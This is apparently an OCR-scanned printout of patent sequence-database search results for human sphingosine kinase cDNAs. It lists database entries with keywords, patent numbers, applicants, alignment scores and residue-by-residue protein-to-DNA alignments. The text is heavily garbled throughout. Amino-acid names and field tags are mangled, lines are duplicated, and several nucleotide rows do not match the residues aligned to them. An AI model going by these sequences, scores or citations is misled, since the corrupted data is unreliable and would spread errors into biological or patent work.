OY 1 MetaspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
DB 19 ATGGATCCAGCGGGGCGCCCGGGGGGCTGCTCCCGGCGCTCCCGGCTGCTGCTG 78
OY 21 LeuAsnProArgGlyGlyGlyGlyAlaLeuGlnLeuPheArgSerHisValGlnPro 40
DB 79 CTGAACCCGCGCGCGGCAAGGCAAGGCTTCGACGCTCCCGAAGTCACGTGACGCC 138
OY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
DB 139 CTTTGGCTGAGGCTGAATCTCTTCACGCTGATGCTCACTGAGCGCGGAACACGCG 198
OY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeuValAlaMetSerGly 80
DB 199 CGGAGGCTGGTGGCTGGAGAGAGCTGGGCGCTGGAGAGCTGGTGGTATGTCGGA 258
OY 81 AspGlyLeuMetHisGluValAlaAsnGlyLeuMetGluArgProAspTrpGluThrAla 100
DB 259 GAGCGGCTGATGCAAGAGTGCTGAACGGGCTCATGAGAGCGGCTGACTGGGAACGCC 318
OY 101 TLeGlnLysProLeuGlySerLeuProAlaGlySerGlyAlaAlaLeuAlaSerLeu 120
DB 319 ATCCAGAAAGCCCTGTGTAGCTCCAGACGAGCTCTGGCAACGCGCTGGCAGCTTCCTG 378
```

```
OY 121 AsnHisTryAlaGlyTyrGluGlnValThrAsnGlnAspLeuThrAsnCysThrLeu 140
DB 379 AACCATTAAGCTGCTAGACAGGTCACCAATGAAGACCTCCGACCAACTGCACGCTA 438
OY 141 LeuLeuGlyArg 144
DB 439 TTGCTGTGCCGC 450
RESULT 3
AAC84161
ID AAC84161 standard; cDNA; 1205 BP.
XX
AC AAC84161;
XX
DT 19-MAR-2001 (first entry)
XX
DE Human sphingosine kinase encoding cDNA.
XX
KW Sphingosine kinase; antiarthritic; antiasthmatic; antiarteriosclerotic;
KW antiinflammatory; neuroprotective; antibacterial; immunosuppressive;
KW human; ss.
XX
OS Homo sapiens.
XX
FT Key location/qualifiers
FT CDS 33..1187
FT /*tag= a
FT /product= "sphingosine kinase"
MO200070028-A1.
XX
PD 23-NOV-2000.
XX
PI 12-MAY-2000; 2000MO-AU00457.
XX
PR 13-MAY-1999; 99AU-0000339.
XX
PR 08-JUL-1999; 99AU-0001504.
XX
PA (JOHN J) JOHNSON & JOHNSON RES PTY LTD.
XX
PI Pitson SM, Wattenberg BW, Xia P, D'Andrea RJ, Gamble JR, Vadas MA;
XX
DB WPI; 2001-016227/02.
XX
DR P-PSDB; AAB48007.
XX
PT Novel sphingosine kinase protein and nucleic acid molecules for
PT diagnosis, prophylaxis and treatment of rheumatoid arthritis, asthma,
PT atherosclerosis, inflammation, meningitis, multiple sclerosis and
PT septic shock
XX
PS Claim 4; Fig 7a; 100pp; English.
XX
XX
CC This cDNA encodes a human sphingosine kinase (SK) protein. The human SK
CC protein, encoding nucleic acids and modulators are useful for modulating
CC expression, functional activity or cellular functional activity of
CC sphingosine kinase in a subject and also for treating a mammal by
CC modulating the activity of SK. Diseases treated by regulating SK
CC cellular activity include rheumatoid arthritis, asthma, atherosclerosis,
CC inflammation, meningitis, multiple sclerosis and septic shock.
XX
SQ Sequence 1205 BP; 196 A; 357 C; 400 G; 252 T; 0 other:
XX
XX
Alignment Scores:
Pred. No.: 5,44e-134 Length: 1205
Score: 144.00 Matches: 144
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 37.50% Indels: 0
DB: 22 Gaps: 0
US-09-784-810A-2 (1-384) x AAC84161 (1-1205)
```



```

QY 180 GluSerAsp-LysTyrArgArgLeuGlyMetArgPheThrLeuGlyThrPheLeu 199
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 667 GAGAGTGA-GAATATCGGCGTGTGGGGAGATGCCCTTACTCTGGGCACTTCTGGC 725
QY 199 GluAlaAlaLeuArgThrTyrArgGlyArgLeuAlaThr-LeuProValGlyArgValG 219
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 726 TCTGGAGCCCTCGACACTACCGCGGCCGACATGGCCTA-CTCCCTGTAGGAAGAT-G 783
QY 219 LysPhe-LysThrProAlaSerProValValAlaGlnGlnGlyProValAlaPalaHisLeu 238
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 784 GGTTCAGACAGACACTGCTCCGCCGTGTGTGTCCAGAGAGCCCGGTAGATGACACACTT 843
QY 239 ValProLeuGlnGlnGln-ValProSerHisTrpGln-ValValProAspGlnAspPhe 258
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 844 GTCCCACTGAGAGAGCC-AGTGCCTCTCACTGAC-AGTGTGCCCCGACGAGAGACTTGG 901
QY 258 AluValLeuAlaLeuAlaLeuHisSerHisLeuAla-SerGlnMetPheAlaAlaProMet 277
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 902 TGCTAGTCTGCGACACTGCTCACTCGACACTGGG-CAGTAGATGTTTGTCTGCACCCATG 960
QY 278 GlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAla 297
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 961 GGCCGCTGTGCACTGCGCATGCACTGTCTACTGCGGGGAGTGTCTCTGCGCC 1020
QY 298 MetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGlnCysPro 317
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 1021 ATCTGCTGCGCTCTTCTCTGCGCATGAGAGAGGCGCATGTGGATGAGATGAGATGCC 1080
QY 318 TyrLeuValTyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyVal 337
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 1081 TACTTGGTATATGTCGCCGTGCGCTCTTCCGCTTGGAGCCCAAGATGGGAAGGTGTG 1140
QY 338 PheAlaValAspGlyGluLeuMetValSerGluAlaValAlaGlnGlnValHisProAsn 357
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 1141 TTTCAGATGATGGGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1200
QY 358 TyrPheTyrMetValSerGlyCysValGlnProProProSerTyrLysProGlnGlnMet 377
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 1201 TACTTTCGATGTCAGCGCTTGTGCTGAGACCCCGCCGCACTGAGAGCCCAAGCATG 1260
QY 378 ProProProGluGluProLeu 384
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 1261 CCACCGCCAGAGAGAGCCCTTA 1281

```

RESULT 5
AAD04477

```

ID AAD04477 standard; cDNA; 1719 BP.
XX
AC AAD04477;
XX
DT 04-JUL-2001 (first entry)
XX
DE Human sphingosine kinase type 1 (hsk1) cDNA.
XX
KW Human; sphingosine kinase type 1; sk1; chromosome 17q25.2;
KW sphingosine-1-phosphate; S1P; drug screening; therapy; haemostasis;
KW thrombosis; allergic reaction; proliferative disease; cancer;
KW haematopoietic disorder; leukaemia; cardiovascular disease; stroke;
KW atherosclerosis; coronary artery disease; dyslipidaemia; diabetes;
KW autoimmune disease; inflammatory disease; multiple sclerosis;
KW T helper-1 related disease; chronic obstructive pulmonary disease;
KW asthma; myocardial infarction; neurodegenerative disorder;
KW wound healing; embryogenesis; anticoagulant; cerebroprotective;
KW neuroprotective; antiparietal; antiarthritic; cyostatic; cardiac;
KW vulneary; ss.
XX
OS Homo sapiens.
XX
FH Key Location/Qualifiers
FT CDS 270..1424
FT /tag= a
FT /product= "Human sphingosine kinase type 1 (hsk1)"

```

```

FT /note= "CDS is specifically claimed in claim 2 and
FT shown as SEQ ID NO 2"
FT polyA_signal
FT 1675..1681
FT /*tag= b
FT misc_feature
FT 264..273
FT /*tag= c
FT /note= "Translational Initiator ATG is in a partial
FT Korak consensus"
XX
FN W0200131029-A2.
XX
PD 03-MAY-2001.
XX
PE 27-OCT-2000; 2000MO-EP09498.
XX
PR 28-OCT-1999; 99US-0162307.
PR 07-FEB-2000; 2000US-0180525.
XX
PA (WARN ) WARNER LAMBERT CO.
XX
PI Allen J, Gosink M, Melendez AJ, Takacs L;
XX WPI: 2001-300510/31.
XX DR P-PSDB: AAE00924.
XX
PT New human sphingosine kinase type I gene for screening drug candidates
PT particularly inhibitors used for preventing or treating e.g.
PT atherosclerosis, thrombosis, asthma and diabetes
XX
PS Claim 2; Fig 1; 91pp; English.
XX
CC The present sequence is human sphingosine kinase type 1 (hsk1) cDNA.
CC The hsk1 gene is located on chromosome 17q25.2. The sk1 converts the
CC substrate sphingosine to sphingosine-1-phosphate (S1P). The sk1 gene
CC and encoded polypeptide are applicable in screening drug candidates
CC particularly inhibitors for preventing or treating disorders such as
CC haemostasis, thrombosis, allergic reactions, proliferative diseases
CC including cancer, haematopoietic disorders such as leukaemia,
CC cardiovascular diseases such as stroke, atherosclerosis and coronary
CC artery disease, dyslipidaemia, diabetes including type I and type II
CC diabetes, autoimmune and inflammatory diseases such as multiple
CC sclerosis, T helper-1 related diseases, chronic obstructive pulmonary
CC disease, asthma, myocardial infarction, neurodegenerative disorders,
CC natural wound healing processes and embryogenesis.
XX
SQ Sequence 1719 BP; 305 A; 529 C; 556 G; 329 T; 0 other;

```

Alignment Scores:

```

Pred. No.: 7.59e-134 Length: 1719
Score: 144.00 Matches: 375
Percent Similarity: 95.428 Conservative: 0
Best Local Similarity: 95.428 Mismatches: 9
Query Match: 37.508 Indels: 18
DB: 22 Gaps: 0

```

US-09-784-810A-2 (1-384) x AAD04477 (1-1719)

```

QY 1 MetAspProAlaGlyGlyProAlaGlyValLeuProArgProCysArgValLeuValLeu 20
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 270 ATGATATCACACGGCGGCCCGCCGGGGCGTGTCCCGGCGCTCCCGGTGCTGTGCTG 329
QY 21 LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 330 CTGAACCCCGCGCGCGCGCAAGGCAAGGCTTGCAGCTCTTCCGGAATCACAGTCCACCC 389
QY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgArgHisAla 60
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 390 CTTTGGCTGAGCGCTGAATCTCTTACAGCTGATGTCTCACTAGAGCGCGGAACACAGCG 449
QY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTyrPaspAlaLeuValMetSerGly 80
    ||||| ||||| ||||| ||||| ||||| ||||| ||||| ||||| |||||
Db 450 CGGAGACTGTGTGCGTGGAGAGACTGCGCGCGTGGAGAGCGCTGTGTGATCTGTGGA 509

```

```

QY      81 AspGlyLeuMethisGluValValAlaSerGlyLeuMetGluProAspProGluThrAla 100
DB      510 GACGGCTGATGACACAGGTGTGAAAGCGCTCATGAGAGCGGCTTACGAGAGACGCC 569
QY      101 IleGlnLysProLeuGlySerLeuProAlaGlySerGlyAlaAlaLeuAlaSerLeu 120
DB      570 ATCCAGAGAGCCCTGTGTAGCTCCACAGAGCTGTGGCAACGCTGGACACTTCCCTTG 629
QY      121 AsnHisTyrAlaGlyTyrGlnValValAsnGlnAspLeuThrAsnGlyThrLeu 140
DB      630 AACCATATGCTGCTGATGACAGGTGTGAAAGCGCTCATGAGAGCGGCTTACGAGAGACGCC 689
QY      141 LeuLeuGlyAspProVal--LeuSerProMetAlaLeuLeuSerLeuHisThrAlaSerG 160
DB      690 TTGCTGTGTGGC--CCGGC--TGCTGTACCATGAACTGCTGTCTGTGACACAGGCTTGG 747
QY      160 LysLeuArgSer--PheSerValLeuSerLeuAlaTyrGlyPheIleAlaAspValAspLeu 179
DB      748 GCGTGGCGCC--CTTCTCTGTGCTACGCTGGCGCTTCACTTCTGTGATGTGACCTTA 806
QY      180 GluSerAsp--LysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuAr 199
DB      807 GAGAGTGA--GAGATATGCGCGCTGTGGGAGATGCGCTTCACTGTGGCACCTTCTCTGCG 865
QY      199 GLeuAlaAlaLeuArgThrTyrArgGlyArgLeuAlaThr--LeuProValGlyArgValG 219
DB      866 TCTGCGAGCCCTGCGACCTACCGCGCGGCGGCTTCACTGTGGCACCTTCTCTGCG 923
QY      219 LysPhe--LysThrProAlaSerProValValAlaGlnGlnGlyProValAspAlaHisLeu 238
DB      924 GGTTCACAGACACTCTCCCTCCCTGTGTGCTCAGAGAGCGCGGCTTCACTGTGACACCTT 983
QY      239 ValProLeuGlnGln--ValProSerHisTyrGln--ValValProAspGlyAspPheV 256
DB      984 GTGCGCATGAGAGAGGCC--AGTCCCTCTCACTGAGAC--AGTGGTCCCGCAGAGAGACTTGG 1041
QY      258 alleuValleuAlaLeuLeuHisSerHisLeuAla--SerGluMetPheAlaAlaProMet 277
DB      1042 TGCTAGTCTGCGACACTGCTGCTGCGACCTGGG--CAGTGTAGATGTTTCTGTCCACCCATG 1100
QY      278 GlyArgCysAlaAlaGlyValMethHisLeuPheTyrValArgAlaGlyValSerArgAla 297
DB      1101 GCGCGCTGTGCGACCTGCGCTCATGATCTTCTACCTGCGCGGCGGAGATGCTCTGCTGCC 1160
QY      298 MetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysPro 317
DB      1161 ATGCTGTGCGGCTCTCTCTGCGCATGAGAGAGCGCGCATGTGAGATGAAATGCCCC 1220
QY      318 TyrLeuValTyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyVal 337
DB      1221 TACTTGTATATGTGCGCGTGTGCTGCGCTTCCGCTTGGAGCCCAAGGATGGAGAGTGTG 1280
QY      338 PheAlaValAspGlyGluLeuMetValSerGlnAlaValGlnGlyGlnValHisProAsn 357
DB      1281 TTTCGACGTGATGGAGATATGATGTGTAGCGAGCGCGTGTGAGGCGCGGTGATCCCAAC 1340
QY      358 TyrPheTyrMetValSerGlyCysValGluProProSerTyrLysProGlnLeuMet 377
DB      1341 TACTTGTGATGTGCTGCGCGTGTGCGAGCCCGCGCGCATGTGAGAGAGAGATG 1400
QY      378 ProProGluGluProLeu 384
DB      1401 CCACCGCCAGAGAGAGCCCTTA 1421

```

RESULT 6

AAH16415 standard; cDNA; 1772 BP.

XX AAH16415:

XX 26-JUN-2001 (first entry)

DE Human cDNA sequence SBO ID NO:15393.

```

XX      XX Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.
KM      XX Homo sapiens.
OS      XX Homo sapiens.
PN      XX EP1074617-A2.
PD      XX 07-FEB-2001.
PF      XX 28-JUL-2000; 2000BP-0116126.
PR      XX 29-JUL-1999; 99JP-0248036.
PR      XX 27-AUG-1999; 99JP-0300253.
PR      XX 11-JAN-2000; 2000JP-0118767.
PR      XX 02-MAY-2000; 2000JP-0183767.
PR      XX 09-JUN-2000; 2000JP-0241899.
PA      XX (HELI-) HELIX RES INST.
PI      XX Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;
PI      XX Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;
PI      XX WPI; 2001-318749/34.
PT      XX Primer sets for synthesizing polynucleotides, particularly the 5602
PT      XX full-length cDNAs defined in the specification, and for the detection
PT      XX and/or diagnosis of the abnormality of the proteins encoded by the
PT      XX full-length cDNAs -
PS      XX Claim 8; SEQ ID 15393; 2537bp + CD ROM; English.
XX      XX
XX      XX The present invention describes primer sets for synthesizing 5602
XX      XX full-length cDNAs defined in the specification. Where a primer set
XX      XX comprises: (a) an oligo-dT primer and an oligonucleotide complementary
XX      XX to the complementary strand of a polynucleotide which comprises one of
XX      XX the 5602 nucleotide sequences defined in the specification, where the
XX      XX oligonucleotide comprises at least 15 nucleotides; or (b) a combination
XX      XX of an oligonucleotide comprising a sequence complementary to 5'-end
XX      XX complementary strand of a polynucleotide which comprises a 5'-end
XX      XX sequence and an oligonucleotide comprising a sequence complementary to a
XX      XX polynucleotide which comprises a 3'-end sequence, where the
XX      XX oligonucleotide comprises at least 15 nucleotides and the combination of
XX      XX the 5'-end sequence/3'-end sequence is selected from those defined in
XX      XX the specification. The primer sets can be used in antisense therapy and
XX      XX in gene therapy. The primers are useful for synthesizing polynucleotides,
XX      XX particularly full-length cDNAs. The primers are also useful for the
XX      XX detection and/or diagnosis of the abnormality of the proteins encoded by
XX      XX the full-length cDNAs. The primers allow obtaining of the full-length
XX      XX cDNAs easily without any specialised methods. AAH03166 to AAH13628 and
XX      XX AAH13633 to AAH18742 represent human cDNA sequences; AAH92446 to
XX      XX AAH95893 represent human amino acid sequences; and AAH13629 to AAH13632
XX      XX represent oligonucleotides, all of which are used in the exemplification
XX      XX of the present invention.
SQ      XX Sequence 1772 BP; 285 A; 566 C; 585 G; 336 T; 0 other:

```

Alignment Scores:

```

Pred. No.: 7, 81e-134 Length: 1772
Score: 144.00 Matches: 375
Percent Similarity: 95.42% Conservative: 0
Best Local Similarity: 95.42% Mismatches: 9
Query Match: 37.50% Indels: 18
DB: 22 Gaps: 0

```

US-09-784-810a-2 (1-384) x AAH16415 (1-1772)

```

QY      QY      1 MetAspProAlaGlyGlyLysGlyValLeuProArgProGlyArgValLeuValLeu 20
DB      DB      350 ATGATCCACGCGGCGGCGGCGGCTGTCCCGCGGCGGCTGTGAGTGGCGG 409
QY      QY      21 LeuAsnProArgGlyGlyLysGlyValLeuGlnLeuPheArgSerHisValGlnPro 40
DB      DB      410 CTGAACCCGCGGCGGCGGCGGCGGCGGCGGCTTTCACAGCTTTCGAGTGCAGTGCAGGCC 469

```

Oy	41	leuenalaglualagluileserPhehrileummetleutnrglunargAsnhisla	60
Dd	470	CTTTGGCTGAGGCTGAATCTCCTTACCGCTGATGCTACTGAGCGGGAAACCACCG	529
Oy	61	ArggluleValAryserglugluleuglyargrTPaspalaLeuValImetsergly	80
Dd	530	C GGAGAGCTGGCGGTGCAGAGACCTGGGCCCTGGACCGCTTGTCATGTCGGA	589
Oy	81	AspplyleumethlagluValAlasnollyumetglunargProasprTogluthra	100
Dd	590	GACGGCGTAGAGCACGAGGTGGTAACGGGTCAAGAGGGAGCCCTGATGGAGAGCCGC	649
Oy	101	IleglnusProleucysSerleuProIaglySerglyAsnalaleuAlaserleu	120
Dd	650	ATCCAGAAGACCCCTGTGTAGCTCCACGACAGCTGTGGCAACGCCCTGGACCTTCCTTG	709
Oy	121	AsnhlsYralaglyTYrGlugInValThrasngluAspleuUthrAsncysthrleu	140
Dd	710	AACCATTTATGTGGCTATGACAGGTCCACCATGAAACCTTCGTACCATTGCACGCTTA	769
Oy	141	LeuencysArpProval--leuserPrometanleuSerleumhisThrAlaserg	160
Dd	770	TTGGCTGTGCCG-CCGGC-TGCTGTACCCATAAGAACCTCTCTCTGTGCACCGGTTCCG	827
Oy	160	lyleuArySer-PheserValleuSerleuAlatrgglyPheleAlaAspyAlaspleu	179
Dd	828	GGCTGGCGGCT-CTTCTCTGTCTCAGCCTGGCGCTGGGGCTTCATGCTGATGTGACCTA	886
Oy	180	GLuserAsp-LysTYrargargleuglyglumetarPhertheuglythrPheleuar	199
Dd	887	GAGAGTGA-GAAGATACGGCGCTGGGGGAATGGCTTCACTCGGGCACCTTCCTCG	945
Oy	199	glEuAlaAlaleuArgrThrTYrarqglYarGLEuAlathr-LeuProvalglyarValg	219
Dd	946	TCTGGACACCCCTGGCACCTACCCGGCGCACTGGCCTA-CCTCCCTTAGAAGAGT-G	1004
Oy	219	lyPhe-LysThrProAlaserProvalValValgInglnIyProvalAspalahIsleu	238
Dd	1004	GGTTCCAGACACCTGCTCCCCGTTGTGTCCAGCAGGGCCCGGTGATGACACACCTT	1063
Oy	239	ValProeuglnglugln-ValProsehrHstrogln-ValValProaspgluaspphey	258
Dd	1064	GTGCCACCTGGAGGAGACC-AGTGCCTCTCACCTGGAC-AGTGTGCCGACAGAGACTTGG	1122
Oy	258	aLleuValleuAlaleuLeuhIsSerHisleuAla-SergIumetPheAlaAlapromet	277
Dd	1122	TGCTAGTCTCTGGCACTGTGCACCTGGCACCTGGG-CAGTGAAGATGTTTGTGCACCACTG	1180
Oy	278	GLyarqcySaAlaAglyValMethIsleuPheryTrValAlagaAlaglyValaserarga	297
Dd	1181	GGCGCGTGTGACGTGGCGGTACATGTGTTCTAAGCGGGCGGGAGTGTCTGTGCC	1240
Oy	298	MetleuLeuAryleuPheleuAlametglubysglyAryghIsmetglTYrGlucysPro	317
Dd	1241	ATGCGCTGGCGCCTTCTCTGTGCCATGAGAAAGGCGACGATATGATGAAGACCCC	1300
Oy	318	TyrleuValTYrValProvalValAlaPheArgleugluProLYAspglyLYslYval	337
Dd	1301	TACTTGTATACGTGCCCTGGTGGCTTCGCTTGAGCCCAAGAGATGGGAAAGGTGTG	1360
Oy	338	PheAlaValAspglyleuMetValserglunAlaValgInglnValHisprosn	357
Dd	1361	TTTTGCAGTGGATGGGGAATTATGTGTTAGCAAGAGCGGTGCAAGGGCCAAGTGCACCAAAC	1420
Oy	358	TyrPherImetValserglycysValglubProProsetriPLYasprlogInImet	377
Dd	1421	TACTTCTGATGATGACGGGTGGGTGGAGCCCGCCACAGCTGAAGACCCACAGATG	1480
Oy	378	ProProProglugluProsn	384
Dd	1481	CCACCGCCAGAGACCCCTTA	1501

US-09-784-810A-2 (1-384) x AAH15652 (1-1821)

```

OY      1 MetAAPProlAGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
Db      393 ATGGATCCAGCGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG 452
OY      21 LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro 40
Db      453 CTGAACCCCGCGCGCGCAAGGGCAAGGCTTGGAGCTTCCGAGTCAAGCTGACGCC 512
OY      41 LeuLeuAlaGlnAlaGlnLeuSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
Db      513 CTTTGGCTGAGGCTAAATCTCTTCACGCTGATGCTCAGACGCGGCAACACGCG 572
OY      61 ArgGluLeuValArgSerGluGluLeuGlyArgTTPAspAlaLeuValValMetSerGly 80
Db      573 CGGAGCTGGTGGGCTCGAGAGCTGGGCGCTGGAGCGCTGGTCTCTCTGTA 632
OY      81 AspGlyLeuMetHisGlyValValAsnGlyLeuMetGluArgProAspTTPGluThrAla 100
Db      633 GACGGCTGATACACAGAGTGGTGAAGGGCTCATGGAGCGGCTGACTGAGAGACCGCC 692
OY      101 IleGlnLysProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu 120
Db      693 ATCCAGAACCCCTGTGTAGCTCCACAGAGCTTGGCAACGCGCTGGCAGCTTCTTG 752
OY      121 AsnHisGlyArgIleGlyGluGlnValThrAsnGluAspLeuThrAsnGlyThrLeu 140
Db      753 AACCAATTATGGCTGATGACAGCAAGTCACCAATGAAGACCTCTGACCACTGACGCTA 812
OY      141 LeuLeuCysArgProVal--LeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerG 160
Db      813 TTGCTGTGCTCGC-CGCGC-TGCTGTACCCCATGAACCTGCTGTCTCTCTACACGGCTTGG 870
OY      160 LysLeuArgSer-PheSerValLeuSerLeuAlaTTPGlyPheIleAlaAspValAspLeu 179
Db      871 GGCTGGGCTCTTCTCTGTCTGCTACGCTGGCTGGGCTTCAATGGATGTGGACCTA 929
OY      180 GluSerAsp-LysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArg 199
Db      930 GAGAGTGA-GAAGTATCCGCTCTGGGGAGATGGCTTCACTCTGGGCACTTCTCTGCG 988
OY      199 GlnAlaAlaLeuArgTyrThrArgGlyArgLeuAlaThr-LeuProValGlyArgValG 219
Db      989 TCTGGACCCCTGGCAGCACTACCGGCGGCGAGCTGGCTTA-CCCTCCCTAGAGAGAGT-G 1046
OY      219 LysPhe-LysThrProAlaSerProValValValGlnGlnGlyProValAspAlaHisLeu 238
Db      1047 GGTTCCAAAGACCTGCTCCCGCTTGTGTGTCAGCAGGGCCCGGTAGATGCACACTT 1106
OY      239 ValProLeuGlnGluGln-ValProSerHisTTPGln-ValValProAspGluAspPheV 258
Db      1107 GTGCCACTGGAGAGGCC-AGTGGCTCTCTCAGTGGAC-AGTGGTCCCGCGAGGAGCTTGG 1164
OY      258 AluLeuValLeuAlaLeuLeuHisSerHisLeuAla-SerGluMetPheAlaIleProMet 277
Db      1165 TGCAGTCTGGGCACTGCTCAGCTCAGCACTGGG-CAGGAGATGTTCTCTGACCCATG 1223
OY      278 GlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAla 297
Db      1224 GGGCGTGTGGAGCTGGCGTCAATGCACTTCTTACGTGGGCGGCGGAGAGTCTCTGGCC 1283
OY      298 MetLeuLeuArgLeuPheLeuAlaMetGluLysGlyValArgHisMetGluTyrGlyCysPro 317
Db      1284 ATGCTGGTGGCGCTCTCTCTGAGTGAAGAGGCGAGGAGATGTGATGATATCCCC 1343
OY      318 TyrLeuValIlyValProValValAlaPheArgLeuGluProLysAspGlyLysGlyVal 337
Db      1344 TACTGTATATATGTCGCCGTGGTCCCTCCGCTTGAAGCCCAAGAGTGGGAAGGTGTG 1403
OY      338 PheAlaValAspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAsn 357
Db      1404 TTTCAGATGGATGGGGAATGTATGTATGTATGAGAGCGCGGAGGCGAGGTGCACCCAAAC 1463

```

```

OY      358 TyrPheTTPMetValSerGlyCysValGluProProProSerTTPLysProGlnGlnMet 377
Db      1464 TACTTCTGGATGGTACAGGGTTCCTGGAGCCCGCCAGCTGGAAGCCCAAGAGATG 1523
OY      378 ProProTrogLugLupProLeu 384
Db      1524 CCACCGCCAGAGAGCCCTTA 1544

RESULT 8
ID      ABL90618/c
XX      ABL90618 standard; cDNA; 1562 BP.
AC      ABL90618;
XX      24-MAY-2002 (first entry)
DE      Human polynucleotide SEQ ID NO 1180.
XX      Cytostatic; immunosuppressive; nocotropic; neuroprotective; antiviral;
KW      antiallergic; hepatotropic; antidiabetic; antinflamatory; antifiber;
KW      vulnerrary; anticonvulsant; antibacterial; antifungal; antiparasitic;
KW      cardiac; gene therapy; cancer; immune disorder; cardiovascular disorder;
KW      neurological disease; infection; human; secreted protein; gene; ss.
XX      Homo sapiens.
XX      MO200190304-A2.
XX      29-NOV-2001.
XX      18-MAY-2001; 2001WO-US16450.
XX      19-MAY-2000; 2000US-205515P.
XX      (HUMA-) HUMAN GENOME SCI INC.
XX      Birse CE, Rosen CA;
XX      WPI: 2002-122018/16.
XX      P-PSDB: ABB90209.
XX      Novel 1405 isolated polypeptides, useful for diagnosis, treatment and
PT      prevention of neural, immune system, muscular, reproductive,
PT      gastrointestinal, pulmonary, cardiovascular, renal and proliferative
PT      disorders -
XX      Claim 4; SEQ ID NO 1180; 2081pp + Sequence Listing; English.
XX      The invention relates to novel genes (ABL89449-ABL90853) and proteins
XX      (ABB9040-ABB90444) useful for preventing, treating or ameliorating
XX      (ABB9040-ABB90444) useful for preventing, treating or ameliorating
XX      medical conditions e.g. by protein or gene therapy. The genes are
XX      isolated from a range of human tissues disclosed in the specification.
XX      The nucleic acids, proteins, antibodies and (ant)agonists are useful
XX      in the diagnosis, treatment and prevention of: (a) cancer, e.g. breast
XX      and ovarian cancer and other cancers of the adrenal gland, bone, bone
XX      marrow, breast, gastrointestinal tract, liver, lung, or urogenital;
XX      (b) immune disorders e.g. Addison's disease, diabetes mellitus, Crohn's
XX      disease, multiple sclerosis, rheumatoid arthritis and ulcerative
XX      colitis; (c) cardiovascular disorders such as myocardial ischemia and
XX      (d) wound healing; (e) neurological diseases such as viral, bacterial, fungal
XX      epilepsy; and (f) infectious diseases.
XX      Note: The sequence data for this patent did not form part of the
XX      printed specification, but was obtained in electronic format directly
XX      from WIPO at ftp.wipo.int/pub/published_pat_sequences.
XX      Sequence 1562 BP, 328 A; 499 C; 459 G; 273 T; 3 other;
SQ
Alignment Scores:      6.92e-131      Length:      1562
Pred. No.:      141.00      Matches:      372
Score:

```


CC and thrombolytic activity, cancer diagnosis and therapy, drug screening, CC assays for receptor activity, arthritis and inflammation, leukemias and C.N.S disorders.
 CC Note: The sequence data for this patent did not form part of the printed CC specification.

XX Sequence 1438 BP; 251 A; 428 C; 463 G; 296 T; 0 other:

Alignment Scores:

Pred. No.: 6,22e-107 Length: 1438
 Score: 117.00 Matches: 374
 Percent Similarity: 94.92% Conservative: 0
 Best Local Similarity: 94.92% Mismatches: 10
 Query Match: 30.47% Indels: 20
 DB: 22 Gaps: 0

US-09-784-810A-2 (1-384) x AA159336 (1-1438)

QY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProGlyArgValLeuValLeu 20
 DB 1 ATGGATCCAGCGGGGCGGCCCGGCGGCTCTCCCGGCGCTGCGCTGCTGCTG 60
 QY 21 LeuAsnProArgGlyGlyGlyValLeuGlnLeuPheArgSerHisValGlnPro 40
 DB 61 CTGAACCCGCGGGGCGGCAAGGCAAGCCTTCAGCTTCGGAAGTCAAGTCAAGCC 120
 QY 41 LeuLeuAlaGluAlaGluLeuSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
 DB 121 CTTTGGCTGAGGCGGAATCTCTCTCAGCTGATGCTCTGACAGCGGCGGAGACACGCG 180
 QY 61 ArgGluLeuValArgSerGlyGlyLeuGlyArgTrpAspAlaLeuValValMetSerGly 80
 DB 181 CGGAGCTGCTGCTGCTGCGAGAGCTGCGCGCTGGAGAGCTGCTGCTGCTGCTGGA 240
